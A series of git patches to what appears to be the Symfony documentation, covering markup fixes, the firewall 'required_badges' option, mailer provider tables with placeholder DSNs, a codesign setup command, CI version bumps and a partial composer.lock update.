index 5161db5f888..77a648a2e0f 100644
--- a/components/workflow.rst
+++ b/components/workflow.rst
@@ -28,7 +28,7 @@ a ``Definition`` and a way to write the states to the objects (i.e. an
 instance of a :class:`Symfony\\Component\\Workflow\\MarkingStore\\MarkingStoreInterface`).
 
 Consider the following example for a blog post. A post can have one of a number
-of predefined statuses (`draft`, `reviewed`, `rejected`, `published`). In a workflow,
+of predefined statuses (``draft``, ``reviewed``, ``rejected``, ``published``). In a workflow,
 these statuses are called **places**. You can define the workflow like this::
 
     use Symfony\Component\Workflow\DefinitionBuilder;
diff --git a/mercure.rst b/mercure.rst
index 6ad0c05c3df..a627cdee92d 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -615,7 +615,7 @@ Testing
 
 During unit testing it's usually not needed to send updates to Mercure.
 
-You can instead make use of the `MockHub` class::
+You can instead make use of the ``MockHub`` class::
 
     // tests/FunctionalTest.php
     namespace App\Tests\Unit\Controller;
diff --git a/setup.rst b/setup.rst
index ec92fcb3d3a..ca52f8bfc69 100644
--- a/setup.rst
+++ b/setup.rst
@@ -145,7 +145,7 @@ the server by pressing ``Ctrl+C`` from your terminal.
 Symfony Docker Integration
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If you'd like to use Docker with Symfony, see :doc:`setup/docker`
+If you'd like to use Docker with Symfony, see :doc:`/setup/docker`.
 
 .. _symfony-flex:
 

From cc8518978d394a9aff04e1740ef76345646d0d1c Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 8 Apr 2023 16:32:02 +0200
Subject: [PATCH 3195/5766] [Security] Document required badges

---
 reference/configuration/security.rst | 54 ++++++++++++++++++++++++++++
 1 file changed, 54 insertions(+)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index b3ab6d31564..27869dd074d 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -954,6 +954,60 @@ a ``user_checker`` option to define the service used to perform those checks.
 
 Learn more about user checkers in :doc:`/security/user_checkers`.
 
+Required Badges
+~~~~~~~~~~~~~~~
+
+Firewalls can configure a list of required badges that must be present on the authenticated passport:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    required_badges: ['CsrfTokenBadge', 'My\Badge']
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <!-- ... -->
+                    <required_badge>CsrfTokenBadge</required_badge>
+                    <required_badge>My\Badge</required_badge>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->requiredBadges(['CsrfTokenBadge', 'My\Badge']);
+            // ...
+        };
+
+.. versionadded:: 5.3
+
+    The ``required_badges`` option was introduced in Symfony 5.3.
+
 providers
 ---------
 

From 5d02675f5d63c5b03e57d33606a2b0e75cb87a1d Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 10 Apr 2023 18:26:20 +0200
Subject: [PATCH 3196/5766] [Mailer] Link to bridges READMEs

---
 mailer.rst | 73 ++++++++++++++++++++++++++++++------------------------
 1 file changed, 41 insertions(+), 32 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index eb1a72ec9c1..b40a2f1aab3 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -108,18 +108,18 @@ Using a 3rd Party Transport
 Instead of using your own SMTP server or sendmail binary, you can send emails
 via a third-party provider:
 
-==================  ==============================================
-Service             Install with
-==================  ==============================================
-Amazon SES          ``composer require symfony/amazon-mailer``
-MailChimp           ``composer require symfony/mailchimp-mailer``
-Mailgun             ``composer require symfony/mailgun-mailer``
-Mailjet             ``composer require symfony/mailjet-mailer``
-OhMySMTP            ``composer require symfony/oh-my-smtp-mailer``
-Postmark            ``composer require symfony/postmark-mailer``
-SendGrid            ``composer require symfony/sendgrid-mailer``
-Sendinblue          ``composer require symfony/sendinblue-mailer``
-==================  ==============================================
+===================== ==============================================
+Service               Install with
+===================== ==============================================
+`Amazon SES`_         ``composer require symfony/amazon-mailer``
+`MailChimp Mandrill`_ ``composer require symfony/mailchimp-mailer``
+`Mailgun`_            ``composer require symfony/mailgun-mailer``
+`Mailjet`_            ``composer require symfony/mailjet-mailer``
+`OhMySMTP`_           ``composer require symfony/oh-my-smtp-mailer``
+`Postmark`_           ``composer require symfony/postmark-mailer``
+`SendGrid`_           ``composer require symfony/sendgrid-mailer``
+`Sendinblue`_         ``composer require symfony/sendinblue-mailer``
+===================== ==============================================
 
 .. note::
 
@@ -174,19 +174,19 @@ transport, but you can force to use one:
 This table shows the full list of available DSN formats for each third
 party provider:
 
-==================== ==================================================== =========================================== ========================================
-Provider             SMTP                                                 HTTP                                        API
-==================== ==================================================== =========================================== ========================================
-Amazon SES           ses+smtp://USERNAME:PASSWORD@default                 ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
-Google Gmail         gmail+smtp://USERNAME:APP-PASSWORD@default           n/a                                         n/a
-Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
-Mailgun              mailgun+smtp://USERNAME:PASSWORD@default             mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
-Mailjet              mailjet+smtp://ACCESS_KEY:SECRET_KEY@default         n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default
-Postmark             postmark+smtp://ID@default                           n/a                                         postmark+api://KEY@default
-Sendgrid             sendgrid+smtp://KEY@default                          n/a                                         sendgrid+api://KEY@default
-Sendinblue           sendinblue+smtp://USERNAME:PASSWORD@default          n/a                                         sendinblue+api://KEY@default
-OhMySMTP             ohmysmtp+smtp://API_TOKEN@default                    n/a                                         ohmysmtp+api://API_TOKEN@default
-==================== ==================================================== =========================================== ========================================
+===================== ==================================================== =========================================== ========================================
+Provider              SMTP                                                 HTTP                                        API
+===================== ==================================================== =========================================== ========================================
+`Amazon SES`_         ses+smtp://USERNAME:PASSWORD@default                 ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
+`Google Gmail`_       gmail+smtp://USERNAME:APP-PASSWORD@default           n/a                                         n/a
+`Mailchimp Mandrill`_ mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
+`Mailgun`_            mailgun+smtp://USERNAME:PASSWORD@default             mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
+`Mailjet`_            mailjet+smtp://ACCESS_KEY:SECRET_KEY@default         n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default
+`Postmark`_           postmark+smtp://ID@default                           n/a                                         postmark+api://KEY@default
+`Sendgrid`_           sendgrid+smtp://KEY@default                          n/a                                         sendgrid+api://KEY@default
+`Sendinblue`_         sendinblue+smtp://USERNAME:PASSWORD@default          n/a                                         sendinblue+api://KEY@default
+`OhMySMTP`_           ohmysmtp+smtp://API_TOKEN@default                    n/a                                         ohmysmtp+api://API_TOKEN@default
+===================== ==================================================== =========================================== ========================================
 
 .. caution::
 
@@ -1586,16 +1586,25 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
         }
     }
 
-.. _`high availability`: https://en.wikipedia.org/wiki/High_availability
-.. _`load balancing`: https://en.wikipedia.org/wiki/Load_balancing_(computing)
+.. _`Amazon SES`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Amazon/README.md
+.. _`App Password`: https://support.google.com/accounts/answer/185833
+.. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout
+.. _`DKIM`: https://en.wikipedia.org/wiki/DomainKeys_Identified_Mail
 .. _`download the foundation-emails.css file`: https://github.com/foundation/foundation-emails/blob/develop/dist/foundation-emails.css
+.. _`Google Gmail`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Google/README.md
+.. _`high availability`: https://en.wikipedia.org/wiki/High_availability
+.. _`Inky`: https://get.foundation/emails/docs/inky.html
 .. _`league/html-to-markdown`: https://github.com/thephpleague/html-to-markdown
+.. _`load balancing`: https://en.wikipedia.org/wiki/Load_balancing_(computing)
+.. _`MailChimp Mandrill`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailchimp/README.md
+.. _`Mailgun`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailgun/README.md
+.. _`Mailjet`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailjet/README.md
 .. _`Markdown syntax`: https://commonmark.org/
-.. _`Inky`: https://get.foundation/emails/docs/inky.html
-.. _`S/MIME`: https://en.wikipedia.org/wiki/S/MIME
-.. _`DKIM`: https://en.wikipedia.org/wiki/DomainKeys_Identified_Mail
+.. _`OhMySMTP`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/OhMySmtp/README.md
 .. _`OpenSSL PHP extension`: https://www.php.net/manual/en/book.openssl.php
 .. _`PEM encoded`: https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail
-.. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout
+.. _`Postmark`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Postmark/README.md
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
-.. _`App Password`: https://support.google.com/accounts/answer/185833
+.. _`S/MIME`: https://en.wikipedia.org/wiki/S/MIME
+.. _`SendGrid`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Sendgrid/README.md
+.. _`Sendinblue`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Sendinblue/README.md

From 2e8cd2ebf947a6f2cd4b7d4968e130b9a791d0cc Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Tue, 11 Apr 2023 08:54:03 +0200
Subject: [PATCH 3197/5766] Update symfony_server.rst

---
 setup/symfony_server.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index b1aa76c0d17..e9129a8f926 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -65,8 +65,11 @@ run the Symfony server in the background:
 
     .. code-block:: terminal
 
-        # change the path to the location of your Symfony binary
-        $ sudo codesign --force --deep --sign - /opt/homebrew/Cellar/symfony-cli/5.4.21/bin/symfony
+        # find the version of the Symfony binary
+        $ symfony version
+
+        # change the path to the location of your Symfony binary replacing {version}
+        $ sudo codesign --force --deep --sign - /opt/homebrew/Cellar/symfony-cli/{version}/bin/symfony
 
 Enabling PHP-FPM
 ----------------

From 8c900ca0e1de13bbb9f19e9745dce5be0b42d443 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 11 Apr 2023 09:18:34 +0200
Subject: [PATCH 3198/5766] Minor tweaks

---
 setup/symfony_server.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index e9129a8f926..c89a3e23f2a 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -65,10 +65,10 @@ run the Symfony server in the background:
 
     .. code-block:: terminal
 
-        # find the version of the Symfony binary
+        # find the installed version of the Symfony binary
         $ symfony version
 
-        # change the path to the location of your Symfony binary replacing {version}
+        # change the path to the location of your Symfony binary and replace {version} too
         $ sudo codesign --force --deep --sign - /opt/homebrew/Cellar/symfony-cli/{version}/bin/symfony
 
 Enabling PHP-FPM

From cc2636b3009b2b647c63beb75b70716a7978bebc Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Romey?= <jeremy@free-agent.fr>
Date: Tue, 11 Apr 2023 11:14:47 +0200
Subject: [PATCH 3199/5766] Update http_client.rst

---
 http_client.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index e0c6dafd777..d0c49e7050e 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -60,7 +60,10 @@ automatically when type-hinting for :class:`Symfony\\Contracts\\HttpClient\\Http
         use Symfony\Component\HttpClient\HttpClient;
 
         $client = HttpClient::create();
-        $response = $client->request('GET', 'https://api.github.com/repos/symfony/symfony-docs');
+        $response = $client->request(
+            'GET',
+            'https://api.github.com/repos/symfony/symfony-docs'
+        );
 
         $statusCode = $response->getStatusCode();
         // $statusCode = 200

From 86f699fdc5de0184dbd920f8fdb5bfd7063e1131 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 11 Apr 2023 11:41:30 +0200
Subject: [PATCH 3200/5766] Remove obsolete versionadded directive

---
 reference/configuration/security.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index c1e9d80d948..0d09209b33e 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -973,10 +973,6 @@ Firewalls can configure a list of required badges that must be present on the au
             // ...
         };
 
-.. versionadded:: 5.3
-
-    The ``required_badges`` option was introduced in Symfony 5.3.
-
 providers
 ---------
 

From c2a309f4823e1db51025a8fdc618a707d92699ea Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 11 Apr 2023 11:43:43 +0200
Subject: [PATCH 3201/5766] Fix build

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 57a92ce65b8..8a8b4117487 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -170,7 +170,7 @@ Provider             SMTP                                                 HTTP
 `Amazon SES`_         ses+smtp://USERNAME:PASSWORD@default                 ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
 `Google Gmail`_       gmail+smtp://USERNAME:APP-PASSWORD@default           n/a                                         n/a
 `Infobip`_            infobip+smtp://KEY@default                           n/a                                         infobip+api://KEY@BASE_URL
-`Mailchimp Mandrill`_ mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
+`MailChimp Mandrill`_ mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
 `Mailgun`_            mailgun+smtp://USERNAME:PASSWORD@default             mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
 `Mailjet`_            mailjet+smtp://ACCESS_KEY:SECRET_KEY@default         n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default
 `MailPace`_           mailpace+api://API_TOKEN@default                     n/a                                         mailpace+api://API_TOKEN@default

From f8c40cc915ef76d2736ed2d28909c448c35be015 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 11 Apr 2023 11:46:48 +0200
Subject: [PATCH 3202/5766] Fix: Name

---
 mailer.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index b40a2f1aab3..712efa8a8c5 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -112,7 +112,7 @@ via a third-party provider:
 Service               Install with
 ===================== ==============================================
 `Amazon SES`_         ``composer require symfony/amazon-mailer``
-`MailChimp Mandrill`_ ``composer require symfony/mailchimp-mailer``
+`Mailchimp Mandrill`_ ``composer require symfony/mailchimp-mailer``
 `Mailgun`_            ``composer require symfony/mailgun-mailer``
 `Mailjet`_            ``composer require symfony/mailjet-mailer``
 `OhMySMTP`_           ``composer require symfony/oh-my-smtp-mailer``
@@ -1385,7 +1385,7 @@ If your transport does not support tags and metadata, they will be added as cust
 
 The following transports currently support tags and metadata:
 
-* MailChimp
+* Mailchimp
 * Mailgun
 * Postmark
 * Sendgrid
@@ -1596,7 +1596,7 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 .. _`Inky`: https://get.foundation/emails/docs/inky.html
 .. _`league/html-to-markdown`: https://github.com/thephpleague/html-to-markdown
 .. _`load balancing`: https://en.wikipedia.org/wiki/Load_balancing_(computing)
-.. _`MailChimp Mandrill`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailchimp/README.md
+.. _`Mailchimp Mandrill`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailchimp/README.md
 .. _`Mailgun`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailgun/README.md
 .. _`Mailjet`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailjet/README.md
 .. _`Markdown syntax`: https://commonmark.org/

From ed094cf3d813551abad8809bc837a60fd79cd729 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 11 Apr 2023 11:52:36 +0200
Subject: [PATCH 3203/5766] Fix build

---
 mailer.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index ba2c541e839..b052f7dedcb 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -164,9 +164,9 @@ transport, but you can force to use one:
 This table shows the full list of available DSN formats for each third
 party provider:
 
-==================== ==================================================== =========================================== ========================================
-Provider             SMTP                                                 HTTP                                        API
-==================== ==================================================== =========================================== ========================================
+===================== ==================================================== =========================================== ========================================
+Provider              SMTP                                                 HTTP                                        API
+===================== ==================================================== =========================================== ========================================
 `Amazon SES`_         ses+smtp://USERNAME:PASSWORD@default                 ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
 `Google Gmail`_       gmail+smtp://USERNAME:APP-PASSWORD@default           n/a                                         n/a
 `Infobip`_            infobip+smtp://KEY@default                           n/a                                         infobip+api://KEY@BASE_URL
@@ -177,7 +177,7 @@ Provider             SMTP                                                 HTTP
 `Postmark`_           postmark+smtp://ID@default                           n/a                                         postmark+api://KEY@default
 `Sendgrid`_           sendgrid+smtp://KEY@default                          n/a                                         sendgrid+api://KEY@default
 `Sendinblue`_         sendinblue+smtp://USERNAME:PASSWORD@default          n/a                                         sendinblue+api://KEY@default
-==================== ==================================================== =========================================== ========================================
+===================== ==================================================== =========================================== ========================================
 
 .. caution::
 

From ac51842c2a158a5fbd664c58d00730fc74410ee7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Sama=C3=ABl=20Villette?= <villette.samael@gmail.com>
Date: Tue, 11 Apr 2023 12:04:26 +0200
Subject: [PATCH 3204/5766] docs: add `app.locale` from Twig `AppVariable`

---
 templates.rst   | 6 ++++++
 translation.rst | 2 ++
 2 files changed, 8 insertions(+)

diff --git a/templates.rst b/templates.rst
index 4da6e9bdb86..b0bcaffec05 100644
--- a/templates.rst
+++ b/templates.rst
@@ -380,12 +380,18 @@ gives you access to these variables:
 ``app.current_route_parameters``
     An array with the parameters passed to the route of the current request or an
     empty array if no request is available (equivalent to ``app.request.attributes.get('_route_params')``)
+``app.locale``
+    The locale used in the current :ref:`locale switcher <locale-switcher>` context.
 
 .. versionadded:: 6.2
 
     The ``app.current_route`` and ``app.current_route_parameters`` variables
     were introduced in Symfony 6.2.
 
+.. versionadded:: 6.3
+
+    The ``app.locale`` variable was introduced in Symfony 6.3.
+
 In addition to the global ``app`` variable injected by Symfony, you can also
 inject variables automatically to all Twig templates as explained in the next
 section.
diff --git a/translation.rst b/translation.rst
index 87c0dc8aaed..9cfbf7fed78 100644
--- a/translation.rst
+++ b/translation.rst
@@ -988,6 +988,8 @@ checks translation resources for several locales:
     add the missing translation to the log file. For details,
     see :ref:`reference-framework-translator-logging`.
 
+.. _locale-switcher:
+
 Switch Locale Programmatically
 ------------------------------
 

From 2d508357a8ae4ac86697b025249a25cf6af21406 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 6 Apr 2023 08:31:48 +0200
Subject: [PATCH 3205/5766] [CI] Use DOCtor-RST 1.44.0

Follows
* https://github.com/OskarStark/doctor-rst/pull/1372
---
 .doctor-rst.yaml          | 1 +
 .github/workflows/ci.yaml | 2 +-
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 8a15e17fbb9..bf037f27716 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -54,6 +54,7 @@ rules:
     typo: ~
     unused_links: ~
     use_deprecated_directive_instead_of_versionadded: ~
+    use_named_constructor_without_new_keyword_rule: ~
     use_https_xsd_urls: ~
     valid_inline_highlighted_namespaces: ~
     valid_use_statements: ~
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 43e9274b128..5693c1a2206 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.42.1
+                uses: docker://oskarstark/doctor-rst:1.44.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 24d6cc03aa407f3e7b346a052946d6580b39ebac Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 11 Apr 2023 13:19:51 +0200
Subject: [PATCH 3206/5766] Update .github/workflows/ci.yaml

---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 5693c1a2206..835cf386072 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.44.0
+                uses: docker://oskarstark/doctor-rst:1.44.1
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From f1d0dc05f1b4fe1b1c6cebe755eccc2fae58ca09 Mon Sep 17 00:00:00 2001
From: Andrey Bolonin <andreybolonin@users.noreply.github.com>
Date: Thu, 30 Mar 2023 11:34:13 +0300
Subject: [PATCH 3207/5766] [Profiler] Add conditional profiling example config

---
 .doctor-rst.yaml                   |   3 +
 .github/workflows/ci.yaml          |   2 +-
 _build/composer.lock               | 161 +++++++++++++++--------------
 components/clock.rst               |   2 +-
 components/process.rst             |   5 +
 components/property_info.rst       |  26 +++++
 components/psr7.rst                |  12 ++-
 contributing/code/standards.rst    |   9 +-
 doctrine/events.rst                |  44 +++++---
 form/form_collections.rst          |   6 +-
 form/use_empty_data.rst            |   2 +-
 html_sanitizer.rst                 |  68 ++++++++++++
 notifier.rst                       |   2 +-
 profiler.rst                       |  21 ++++
 security/access_denied_handler.rst |   2 +-
 security/passwords.rst             |  26 +++++
 session.rst                        |  38 ++++++-
 setup/symfony_server.rst           |   6 ++
 18 files changed, 321 insertions(+), 114 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 4f74b4f3371..709ddc5714a 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -18,6 +18,9 @@ rules:
     ensure_order_of_code_blocks_in_configuration_block: ~
     extend_abstract_controller: ~
     # extension_xlf_instead_of_xliff: ~
+    forbidden_directives:
+        directives:
+            - '.. index::'
     indention: ~
     lowercase_as_in_use_statements: ~
     max_blank_lines:
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index a240982650a..91e5d0212a6 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.41.3
+                uses: docker://oskarstark/doctor-rst:1.42.1
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 
diff --git a/_build/composer.lock b/_build/composer.lock
index 0ec00db5a84..d45dc483946 100644
--- a/_build/composer.lock
+++ b/_build/composer.lock
@@ -466,16 +466,16 @@
         },
         {
             "name": "symfony-tools/docs-builder",
-            "version": "v0.20.0",
+            "version": "v0.20.2",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony-tools/docs-builder.git",
-                "reference": "544f4bd4cabffa9eeaa4e4c85f3a7084e1a54cdc"
+                "reference": "6486fd734bb151a05f592b06ac1569c62d338a08"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/544f4bd4cabffa9eeaa4e4c85f3a7084e1a54cdc",
-                "reference": "544f4bd4cabffa9eeaa4e4c85f3a7084e1a54cdc",
+                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/6486fd734bb151a05f592b06ac1569c62d338a08",
+                "reference": "6486fd734bb151a05f592b06ac1569c62d338a08",
                 "shasum": ""
             },
             "require": {
@@ -514,22 +514,22 @@
             "description": "The build system for Symfony's documentation",
             "support": {
                 "issues": "https://github.com/symfony-tools/docs-builder/issues",
-                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.20.0"
+                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.20.2"
             },
-            "time": "2023-03-23T08:48:27+00:00"
+            "time": "2023-04-04T06:17:34+00:00"
         },
         {
             "name": "symfony/console",
-            "version": "v6.2.3",
+            "version": "v6.2.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/console.git",
-                "reference": "0f579613e771dba2dbb8211c382342a641f5da06"
+                "reference": "3582d68a64a86ec25240aaa521ec8bc2342b369b"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/console/zipball/0f579613e771dba2dbb8211c382342a641f5da06",
-                "reference": "0f579613e771dba2dbb8211c382342a641f5da06",
+                "url": "https://api.github.com/repos/symfony/console/zipball/3582d68a64a86ec25240aaa521ec8bc2342b369b",
+                "reference": "3582d68a64a86ec25240aaa521ec8bc2342b369b",
                 "shasum": ""
             },
             "require": {
@@ -591,12 +591,12 @@
             "homepage": "https://symfony.com",
             "keywords": [
                 "cli",
-                "command line",
+                "command-line",
                 "console",
                 "terminal"
             ],
             "support": {
-                "source": "https://github.com/symfony/console/tree/v6.2.3"
+                "source": "https://github.com/symfony/console/tree/v6.2.8"
             },
             "funding": [
                 {
@@ -612,20 +612,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-12-28T14:26:22+00:00"
+            "time": "2023-03-29T21:42:15+00:00"
         },
         {
             "name": "symfony/css-selector",
-            "version": "v6.2.3",
+            "version": "v6.2.7",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/css-selector.git",
-                "reference": "ab1df4ba3ded7b724766ba3a6e0eca0418e74f80"
+                "reference": "aedf3cb0f5b929ec255d96bbb4909e9932c769e0"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/css-selector/zipball/ab1df4ba3ded7b724766ba3a6e0eca0418e74f80",
-                "reference": "ab1df4ba3ded7b724766ba3a6e0eca0418e74f80",
+                "url": "https://api.github.com/repos/symfony/css-selector/zipball/aedf3cb0f5b929ec255d96bbb4909e9932c769e0",
+                "reference": "aedf3cb0f5b929ec255d96bbb4909e9932c769e0",
                 "shasum": ""
             },
             "require": {
@@ -661,7 +661,7 @@
             "description": "Converts CSS selectors to XPath expressions",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/css-selector/tree/v6.2.3"
+                "source": "https://github.com/symfony/css-selector/tree/v6.2.7"
             },
             "funding": [
                 {
@@ -677,20 +677,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-12-28T14:26:22+00:00"
+            "time": "2023-02-14T08:44:56+00:00"
         },
         {
             "name": "symfony/deprecation-contracts",
-            "version": "v3.2.0",
+            "version": "v3.2.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/deprecation-contracts.git",
-                "reference": "1ee04c65529dea5d8744774d474e7cbd2f1206d3"
+                "reference": "e2d1534420bd723d0ef5aec58a22c5fe60ce6f5e"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/1ee04c65529dea5d8744774d474e7cbd2f1206d3",
-                "reference": "1ee04c65529dea5d8744774d474e7cbd2f1206d3",
+                "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/e2d1534420bd723d0ef5aec58a22c5fe60ce6f5e",
+                "reference": "e2d1534420bd723d0ef5aec58a22c5fe60ce6f5e",
                 "shasum": ""
             },
             "require": {
@@ -728,7 +728,7 @@
